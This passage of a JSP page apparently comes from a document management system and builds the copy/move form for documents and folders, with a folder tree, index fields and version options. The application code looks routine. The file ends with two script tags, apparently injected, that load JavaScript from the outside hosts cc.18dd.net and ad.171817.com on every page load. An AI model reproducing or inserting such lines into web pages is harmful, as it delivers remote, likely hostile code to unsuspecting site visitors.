  var alertMessage ="<bean:message key='dms.message.flow_doc_cannot_chosen'/>";
  alert(alertMessage);
}
function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  handleTreeNodeGeneralDoc(val[0], val[1]);
}

function clickNodeAction(tree, node) {
  var nodeId = node.id;
  var rootId = tree.rootId;
  var path   = tree.getFullPathString(node.idx);
  switch (node.tp) {
    case '<%=DmsDocument.COMPOUND_DOC_TYPE%>' : handleTreeNodeCompoundDoc(nodeId, rootId); break;
    case '<%=DmsDocument.PAPER_DOC_TYPE%>'    : handleTreeNodePaperDoc(nodeId, rootId); break;
    case '<%=DmsDocument.EMAIL_DOC_TYPE%>'    : handleTreeNodeEmailDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FORM_DOC_TYPE%>'     : handleTreeNodeFormDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FLOW_DOC_TYPE%>'     : handleTreeNodeFlowDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FOLDER_TYPE%>'       : setHiddenValue(nodeId, rootId, path); break;
    default : alert("not support document type("+node.tp+")");
  }
}
//-->
</script>
	<div id="treeFrameSelection">
    <select name="publicRootList" class="form-dmstree-pulldown" onchange="javascript:changeRoot(this.value);">
      <logic:present name="publicRootList">
        <logic:iterate id="dmsRoot" name="publicRootList" scope="request">
          <option value='<%=((DmsRoot)dmsRoot).getRootFolderID()+ ";" + ((DmsRoot)dmsRoot).getID()%>' <%=(rootID.equals(((DmsRoot)dmsRoot).getID().toString())? "selected" : "")%> >
            <bean:write name="dmsRoot" property="rootName"/>
          </option>
        </logic:iterate>
      </logic:present>
    </select>
    </div>
    <div id="treeFrame" class="dtreeContainer">
    <dms:tree name='<%="movecopy"+rootID%>' rootId="<%=rootID%>" rootType="<%=nDmsRoot.getRootType()%>" ownerId="<%=nDmsRoot.getOwnerID()%>" expandId="<%=parentID%>"></dms:tree>
        </div>
    <script language="javascript">
    <!--
          var divHeight = GetInnerHeight() - 200;
          FindObj("treeFrame").style.height = divHeight+"px";
    -->
    </script>
        </div>
        <script>addLoadEvent(function(){SetDivHeight('editContainer', 'treeContainer')});</script>
<!-- Hierarchy Tree End -->
  </td>
  <td valign="top">
  <div id="editContainer">
    <table width="100%" cellpadding="0" cellspacing="0" border="0">
      <layout:sectionHeader name="dms.label.dms_orig_file_detail" mandatory="false"/>

      <!-- User Defined Field Selection -->
<%
    DocumentRetrievalManager docRetrivalManager=new DocumentRetrievalManager(sessionContainer,conn);

    boolean notHaveDefaultProfileFolder = true;
    if((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){
        if(GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) && Utility.isEmpty(maintDmsDocumentForm.getClearIndexFlag())){
            notHaveDefaultProfileFolder = true;
        }else{
            if(maintDmsDocumentForm.getClearIndex()){
                notHaveDefaultProfileFolder = true;
            }else{
                DmsDocument parentProfileFolder = docRetrivalManager.getClosestHaveDefaultProfileFolder(TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID()));
                if (!Utility.isEmpty(parentProfileFolder)){
                    notHaveDefaultProfileFolder = false;
                }
                /*
                if(notHaveDefaultProfileFolder){
                    maintDmsDocumentForm.setUserDefinedFieldID("");
                }
                */
            }
            if(GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE) && maintDmsDocumentForm.getClearIndex()){
                maintDmsDocumentForm.setUserDefinedFieldID("");
            }

        }

    }
%>
      <%if ((DmsOperationConstant.COPY_OPERATION.equals(opMode)||DmsOperationConstant.COPY_MORE_OPERATION.equals(opMode)) ) {%>
      <%if(!DmsDocument.DOCUMENT_LINK.equals(currentDocument.getDocumentType())){%>
      <tr>
        <td class="formLabelSmall" width='150' valign='top'><bean:message key='dms.label.user_defined_index'/>:&nbsp;</td>
        <td class="formFieldSmall" >
        <%
        /*
         *  Update Code Start
         *  Author              Jim.Zhou
         *  Date                    2006/04/03
         */
        %>
      <%if ("E".equals(documentType)){%>
        <html:hidden property='userDefinedFieldID' value='<%=userDefinedFieldID%>'/>
        <bean:message key="dms.label.email.archive"/>
      <%}else{%>
        <html:select property='userDefinedFieldID' styleClass="form-style-2-pulldown"  onchange='getDetail()'>
          <html:options dbListName='dmsUserDefinedIndexList'/>
        </html:select>
      <%}%>
        <%
        /*
         *  Update Code End
         */
        %>
        </td>
      </tr>
      <%}%>
      <% } %>

      <tr>
        <td class="formLabelSmall" width='150' valign='top'><bean:message key='<%="dms.label.name_" + currentDocument.getDocumentType()%>'/>:&nbsp;</td>
        <td class="formFieldSmall">
        <%
          //add By jim zhou       EIP-1791      2007.04.13
          DmsRoot curDmsRoot = (DmsRoot)docRetrievalManager.getDmsRoot(currentDocument.getRootID());
          String docCurFunctionCode = null;
          if (DmsRoot.PERSONAL_ROOT.equals(curDmsRoot.getRootType())) {
            docCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
          } else {
            docCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
          }
          //add end
        %>
        <nobr><dms:documentInfo docObject='<%=currentDocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' curFunctionCode='<%=docCurFunctionCode%>'/>

        </td>
      </tr>
      <tr>
        <td class="formLabelSmall" width='150' valign='top'><bean:message key='dms.label.location'/>:&nbsp;</td>
        <td class="formFieldSmall" ><%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
        <%=request.getAttribute("oriPath")%>
        <%}else{%>
        <dms:locationPath parentID="<%=currentDocument.getParentID()%>" rootID="<%=currentDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>' indexFlag='showIndexFlag'/>
        <%}%>
        </td>
      </tr>
      <tr>
        <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
      </tr>
      <layout:sectionHeader name="dms.label.dms_new_file_detail" mandatory="true"/>
      <tr>
        <td class="formLabelSmallMan" width="150" valign="top"><nobr><bean:message key='dms.label.destination'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall" >
        <!--html:text property="destinationPath" size="55" maxlength="255"/-->

<%//joan.xiong update code for bug EIP-163  2006/09/21
if(!GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
        <font class="bodyVerySmall"><bean:message key='dms.message.choose_location'/></font>
        <%
        }//joan.xiong update code end
        %>
    <%
      boolean allowPersonalOnly = false;
      boolean allowPublicOnly = false;
      if (DmsDocument.DOCUMENT_LINK.equals(currentDocument.getDocumentType())) {
        DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)currentDocument).getID(),DmsDocument.DOCUMENT_LINK);
        if (!Utility.isEmpty(newDocument)){
          DmsRoot dmsRoot = docRetrievalManager.getDmsRootByDocumentID(newDocument.getID());
          if (DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType())){
            allowPersonalOnly = true;
          }
        }
      } else {
        if (DmsOperationConstant.COPY_OPERATION.equals(opMode) || DmsOperationConstant.MOVE_OPERATION.equals(opMode)) {
          List relationDocumentList = docRetrievalManager.getRelationshipList(currentDocument.getID());
          for (int i=0;i<relationDocumentList.size();i++){
            MtmDocumentRelationship tmpMtmDocumentRelationship = (MtmDocumentRelationship)relationDocumentList.get(i);
            if (DmsDocument.DOCUMENT_LINK.equals(tmpMtmDocumentRelationship.getRelationshipType())){
              Integer linkDocumentID = tmpMtmDocumentRelationship.getRelatedDocumentID();
              //DmsDocument linkDocument = docRetrievalManager.getDocumentByID(linkDocumentID);
              if (!Utility.isEmpty(linkDocumentID)){
                DmsRoot dmsRoot = docRetrievalManager.getDmsRootByDocumentID(linkDocumentID);
                if (DmsRoot.PUBLIC_ROOT.equals(dmsRoot.getRootType())){
                  allowPublicOnly = true;
                  break;
                }
              }
            }
          }
        }
      }
    %>
    <dms:folderPicker property="destinationPath"  styleClass="form-style-2-textfield"  hiddenRootID="targetRootID" hiddenParentID="destinationID" hiddenRootIDValue="<%=targetRootID%>" hiddenParentIDValue="<%=destinationID%>" size="50" refreshCopyMove="true" allowCompoundDoc="false" allowPaperDoc="false" allowPersonalOnly="<%=allowPersonalOnly%>" allowPublicOnly="<%=allowPublicOnly%>"/>   <br>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmallMan" width="150"><bean:message key="dms.label.document_name"/>:&nbsp;</td>
        <td class="formFieldSmall" width="450">
          <html:text property="documentName" styleClass="form-style-2-textfield"  maxlength="100" />
        </td>
      </tr>
      <%if(!DmsDocument.DOCUMENT_LINK.equals(currentDocument.getDocumentType())){%>
      <tr>
        <%if(DmsDocument.PAPER_DOC_TYPE.equals(currentDocument.getDocumentType())){
        %>
        <td class="formLabelSmallMan" width="150">
        <%}else{
        %>
        <td class="formLabelSmall" width="150"><%}%>
        <bean:message key="dms.label.reference_no"/>:&nbsp;</td>
        <td class="formFieldSmall">
          <html:text property="referenceNo" styleClass="form-style-2-textfield"  maxlength="30" />
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall" width="150"><bean:message key="dms.label.description"/>:&nbsp;</td>
        <td class="formFieldSmall"><html:magicTextbox name='description' svalue='<%=maintDmsDocumentForm.getDescription()%>' boxStyleClass='form-style-2-textfield' areaStyleClass='form-style-2-textarea' maxlength="2000" /></td>
      </tr>
      <%}%>

      <!-- Common Index Start -->
      <dms:commonIndex id='setting'>
      <bean:define id='mandatoryFlag' name='setting' property='mandatoryFlag' type='java.lang.String'/>
      <bean:define id='fieldType' name='setting' property='fieldType' type='java.lang.String'/>
      <%
        String styleClass = "form-style-2-textfield";
        if(DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(fieldType)){
            styleClass = "form-style-2-textfield-day";
        }else if(DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(fieldType)){
            styleClass = "form-style-2-pulldown";
        }
      %>
      <tr>
        <td class="<%if(GlobalConstant.TRUE.equals(mandatoryFlag)){%>formLabelSmallMan<%}else{%>formLabelSmall<%}%> " width="25%" valign="top"><dms:commonIndexName/>:&nbsp;</td>
        <td class="formFieldSmall" width="75%"><dms:commonIndexValue styleClass="<%=styleClass%>"/></td>
      </tr>
      </dms:commonIndex>
      <!-- Common Index End -->

  <!-- UDF for Document -->
 <% if (!Utility.isEmpty(udfDetailList) && (DmsOperationConstant.COPY_OPERATION.equals(opMode)||DmsOperationConstant.COPY_MORE_OPERATION.equals(opMode))&&(!documentType.equals(DmsDocument.DOCUMENT_LINK)))  {
        SysUserDefinedIndexDetail udfDetail = null;
        String classType = "";
        for ( int i=0; i< udfDetailList.size(); i ++) {
          udfDetail = (SysUserDefinedIndexDetail) udfDetailList.get(i);

          if ("Y".equals(udfDetail.getMandatory())) {
            classType = "formLabelSmallMan";
          }else{
            classType = "formLabelSmall";
          }

         String fieldValue = "";
         Timestamp realDateValue = null;
         for ( int j=0; j< docDetailList.size(); j ++){
             if (udfDetail.getID().equals(((DmsDocumentDetail)docDetailList.get(j)).getUserDefinedFieldDetailID())){
                if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {
                  fieldValue=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getDateValue());
                  realDateValue=((DmsDocumentDetail) docDetailList.get(j)).getDateValue();

                }else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())) {
                  if (((DmsDocumentDetail)docDetailList.get(j)).getNumericValue() !=null ) {
                    fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getNumericValue().toString();
                  }
                }else{
                  fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getFieldValue();
                }
                break;
             }
         }
         if (!Utility.isEmpty(udfDetail.getFieldName())) {
           fieldValue = TextUtility.htmlEncode(fieldValue);         %>
    <tr>
      <input type="hidden" name="udfDetailID_<%= udfDetail.getID() %>">
      <input type="hidden" name="udfDetail_FieldType_<%= udfDetail.getFieldType() %>" >
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <td class="<%= classType %>" width='150' valign='top'><%=udfDetail.getFieldName()%>:&nbsp;</td>

      <!--Cater for UDF Field Validation and Verification-->
      <input type="hidden" name="fieldID" value="<%=udfDetail.getID()%>"/>
      <input type="hidden" name="fieldName" value="<%=udfDetail.getFieldName()%>"/>
      <input type="hidden" name="fieldType" value="<%=udfDetail.getFieldType()%>"/>
      <%if ("Y".equals(udfDetail.getMandatory())) {%>
      <input type="hidden" name="fieldMandatory" value="true"/>
      <%}else{%>
      <input type="hidden" name="fieldMandatory" value="false"/>
      <%}%>

    <%}else{%>
      <td class="formLabelSmall" width='150' valign='top'><%=udfDetail.getFieldName()%>:&nbsp;</td>
    <%}%>
      <td class="formFieldSmall" >
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%
      String dateFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT);
      if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {%>
      <input type="text" name="dummy_udfDetail_Date_<%= udfDetail.getID() %>" class="form-style-2-textfield-day" value="<%=fieldValue%>"  onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>'));"><a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick="gfPop.fPopCalendar(dummy_dp_temp<%=udfDetail.getID()%>,dp_temp<%=udfDetail.getID()%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>',true,false);"><html:img src='IconCalendar.gif'  imageName='imgCalendar_dummy_udfDetail_Date_<%=udfDetail.getID()%>' align='absmiddle' width='34' height='21' border='0' alt='' /></a>
      <input type="hidden" name="udfDetail_Date_<%=udfDetail.getID()%>" value="<%=realDateValue%>">
      <script>
        var dp_temp<%=udfDetail.getID()%>=document.maintDmsDocumentForm.elements["udfDetail_Date_<%=udfDetail.getID()%>"];
        var dummy_dp_temp<%=udfDetail.getID()%>=document.maintDmsDocumentForm.elements["dummy_udfDetail_Date_<%=udfDetail.getID()%>"];
      </script>
      <% } else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType()))  { %>
      <input type="FLOAT" name="udfDetail_Number_<%= udfDetail.getID() %>" class="form-style-2-textfield"  value="<%= fieldValue %>">
      <% } else if (SysUserDefinedIndexDetail.STRING_FIELD.equals(udfDetail.getFieldType()))  { %>
                <%//joan.xiong update code for bug EIP-835 by 2006/11/13
                //if (udfDetail.getValueSuggest().equals("Y")) {
                if (!Utility.isEmpty(udfDetail.getValueSuggest()) && udfDetail.getValueSuggest().equals("Y")) {
                //joan.xiong update code end
                %>
                    <%
                        String parameter = "UDFD_ID:" + udfDetail.getID();
                    %>
                    <html:autoComplete name='<%="udfDetail_String_"+udfDetail.getID()%>' boxType="<%=AutoCompleteInputBoxManagerFactory.BOX_TYPE_INDEX_VALUE%>" styleClass="form-style-2-textfield"  value="<%=fieldValue%>"  maxlength="100" size="40"  parameter="<%=parameter%>"/>
                <%} else {%>
            <input type="text" name="udfDetail_String_<%= udfDetail.getID() %>" class="form-style-2-textfield"  value="<%=fieldValue%>" maxlength="100">
                <%}%>

      <%} else if (SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE.equals(udfDetail.getFieldType())) {%>
        <%String[] valueAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, conn).getUDFOptionStringArray(udfDetail);%>
        <%if (!Utility.isEmpty(valueAry)){ %>
        <select name="udfDetail_SDB_<%= udfDetail.getID() %>" class="form-style-2-pulldown">
        <%for (int x=0; x<valueAry.length; x++){
           String selected = "";
           if (TextUtility.htmlEncode(valueAry[x]).equals(fieldValue)){
              selected = "selected";
           }
           String value=valueAry[x];
           if (x==0) { value = "";}%>
        <option value="<%=value%>" <%=selected%>><%=valueAry[x]%>
        <%}%>
        </select>
        <%}%>
      <% } else {%>
        <%@include file="CustUserDefinedType.jsp" %>
      <%}%>
    <%}else{%>
      <%=fieldValue%>
    <%}%>
      </td>
    </tr>
      <%}%>

    <%}%>
  <%}%>


      <%if (DmsOperationConstant.COPY_OPERATION.equals(opMode)||DmsOperationConstant.COPY_MORE_OPERATION.equals(opMode)){//Update By Jim Zhou                   2007/03/03          EIP-1703%>
      <%if (DmsDocument.FOLDER_TYPE.equals(documentType)){%>
      <tr>
        <td class="formLabelSmall" width="150"><bean:message key='dms.label.copy_sturcture_option'/>:&nbsp;</td>
        <td >
          <table width="100%" cellpadding="0" cellspacing="0" border="0" align="left">
            <tr><td class="formFieldSmall" width="50%">
            <html:radio property='copyStructureOnly' value='<%=DmsOperationConstant.NO_STRUCTURE_COPY%>' onclick="showCopyOpt()"> <bean:message key='dms.label.copy_structure_false'/></html:radio>
            </td>
            <td class="formFieldSmall" width="50%">
            <html:radio property='copyStructureOnly' value='<%=DmsOperationConstant.COPY_STRUCTURE_ONLY%>' onclick="showCopyOpt()"> <bean:message key='dms.label.copy_structure_true'/></html:radio>
            </td></tr>
          </table>
        </td>
      </tr>
      <%}%>
      <!--tr>
        <td class="formLabelSmall" width="150"><bean:message key='dms.label.copy_file_option'/>:&nbsp;</td>
        <td >
          <table width="100%" cellpadding="0" cellspacing="0" border="0" align="left">
            <tr><td class="formFieldSmall" width="50%">
            <html:radio property='copyFileOpt' value='<%=DmsOperationConstant.COPY_OPERATION_AS_OLD%>'> <bean:message key='dms.label.copy_file_as_old'/></html:radio>
            </td>
            <td class="formFieldSmall" width="50%">
            <html:radio property='copyFileOpt' value='<%=DmsOperationConstant.COPY_OPERATION_AS_NEW%>'> <bean:message key='dms.label.copy_file_as_new'/></html:radio>
            </td></tr>
          </table>
        </td>
      </tr-->
      <html:hidden property='copyFileOpt' value='<%=DmsOperationConstant.COPY_OPERATION_AS_NEW%>'/>
     <%if(!DmsDocument.DOCUMENT_LINK.equals(currentDocument.getDocumentType())){%>
     <%if((DmsDocument.FOLDER_TYPE.equals(currentDocument.getDocumentType()) && (DmsOperationConstant.NO_STRUCTURE_COPY.equals(maintDmsDocumentForm.getCopyStructureOnly()))) || (!DmsDocument.FOLDER_TYPE.equals(currentDocument.getDocumentType())) ){%>
      <tr>
        <td class="formLabelSmall" width="150"><bean:message key='dms.label.copy_version_option'/>:&nbsp;</td>
        <td >
          <table width="100%" cellpadding="0" cellspacing="0" border="0" align="left">
            <tr><td class="formFieldSmall" width="50%">
            <html:radio property='copyVersionOpt' value='<%=DmsOperationConstant.COPY_ALL_VERSIONS%>'> <bean:message key='dms.label.copy_version_all'/></html:radio>
            </td>
            <td class="formFieldSmall" width="50%">
            <html:radio property='copyVersionOpt' value='<%=DmsOperationConstant.COPY_TOP_VERSION%>'> <bean:message key='dms.label.copy_version_top'/></html:radio>
            </td></tr>
          </table>
        </td>
      </tr>
      <%}%>
      <%}%>
      <%}%>
      <tr><td colspan="2">
      <%if ((DmsDocument.DOCUMENT_TYPE.equals(currentDocument.getDocumentType()) || DmsDocument.COMPOUND_DOC_TYPE.equals(currentDocument.getDocumentType())) &&
        !GlobalConstant.NAV_MODE_EDIT.equals(maintDmsDocumentForm.getNavMode()) && !GlobalConstant.OP_MODE_UPDATE.equals(maintDmsDocumentForm.getOpMode()) &&
        !GlobalConstant.OP_MODE_UPDATE_NEW.equals(maintDmsDocumentForm.getOpMode()) && !DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(maintDmsDocumentForm.getParentModule())) {%>
        <% if(!DmsRoot.PERSONAL_ROOT.equals(nDmsRoot.getRootType())){ %>
          <%pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT);%>
          <%@include file="../workflow/IncludeWorkflowPage.jsp"%>
        <%}%>
      <%
      }%>
      </td></tr>

    </table>
    </div>
  </td>
      </tr>
</table>
</div>
</layout:tabContainer>

<div id="bottomButtonArea">
    <div id="buttonSection">
        <%if (!GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
          <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
          <%if ((!GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) &&
          ((DmsOperationConstant.COPY_OPERATION.equals(opMode)) || (DmsOperationConstant.COPY_MORE_OPERATION.equals(opMode)))) {%>
            <html:standardButton label="common.label.more" onClick="return OpCustSaveAndNew()"/>
          <%}%>

        <%}else{%>
        <!--Go New Destination -->
            <%    DmsDocument DestDocumentRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(maintDmsDocumentForm.getTargetRootID()));
                  String DestFunctionCode = "";
                  if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(DestDocumentRoot.getDocumentName())) {
                    DestFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
                  } else {
                    DestFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
                  }%>
            <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(DestFunctionCode)){%>
            <html:standardButton label="dms.lebel.go_destination" link='<%="ListDmsDocument.do?parentID=${maintDmsDocumentForm.destinationID}&directURL=${maintDmsDocumentForm.directURL}&rootID=${maintDmsDocumentForm.targetRootID}&curFunctionCode="+DestFunctionCode%>'/>
            <%}else if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(DestFunctionCode)){%>
             <html:standardButton label="dms.lebel.go_destination" link='<%="ListDmsPublicDocument.do?parentID=${maintDmsDocumentForm.destinationID}&directURL=${maintDmsDocumentForm.directURL}&rootID=${maintDmsDocumentForm.targetRootID}&curFunctionCode="+DestFunctionCode%>'/>
            <%}%>
        <%}%>
                <%
                //joan.xiong update code for bug EIP-1112 end%>
    </div>
</div>
<%}catch (Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }%>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>